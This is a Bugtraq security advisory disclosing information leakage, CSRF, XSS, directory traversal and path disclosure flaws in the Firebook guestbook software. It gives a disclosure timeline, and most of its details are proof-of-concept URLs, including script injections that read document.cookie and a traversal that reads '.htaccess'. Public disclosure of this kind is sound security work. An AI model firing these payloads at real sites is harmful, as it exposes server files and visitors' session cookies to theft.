Hello Bugtraq!

I want to warn you about security vulnerabilities in Firebook.

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Advisory: Vulnerabilities in Firebook
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URL: http://websecurity.com.ua/4124/ 
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Affected products: all versions of Firebook.
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Timeline:

27.09.2009 - found vulnerabilities.
13.04.2010 - announced at my site.
24.05.2010 - informed developers.
17.06.2010 - disclosed at my site.
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Details:

These are Information Leakage, Cross-Site Request Forgery, Cross-Site
Scripting, Directory Traversal and Full path disclosure vulnerabilities.

Information Leakage:

http://site/path_to_firebook_admin/?URLproxy=http://firebook.ru/env/index.html; 

CSRF:

http://site/path_to_firebook_admin/?URLproxy=http://site; 

CSRF-attacks on other sites are possible.

XSS:

http://site/path_to_firebook_admin/?URLproxy=%3Cscript%3Ealert(document.cookie)%3C/script%3E 

http://site/guestbook/index.html?answer=%3Cscript%3Ealert(document.cookie)%3C/script%3E 

http://site/guestbook/index.html?answer=guestbook/guest/file.html;page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 

Directory Traversal:

http://site/path_to_firebook_admin/?param=1;show=../.htaccess; 

http://site/guestbook/index.html?answer=guestbook/guest/%2E%2E/index.html 

Full path disclosure:

http://site/path_to_firebook_admin/?param=1;show=param.txt; 

http://site/guestbook/index.html?answer=guestbook/guest/1 

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua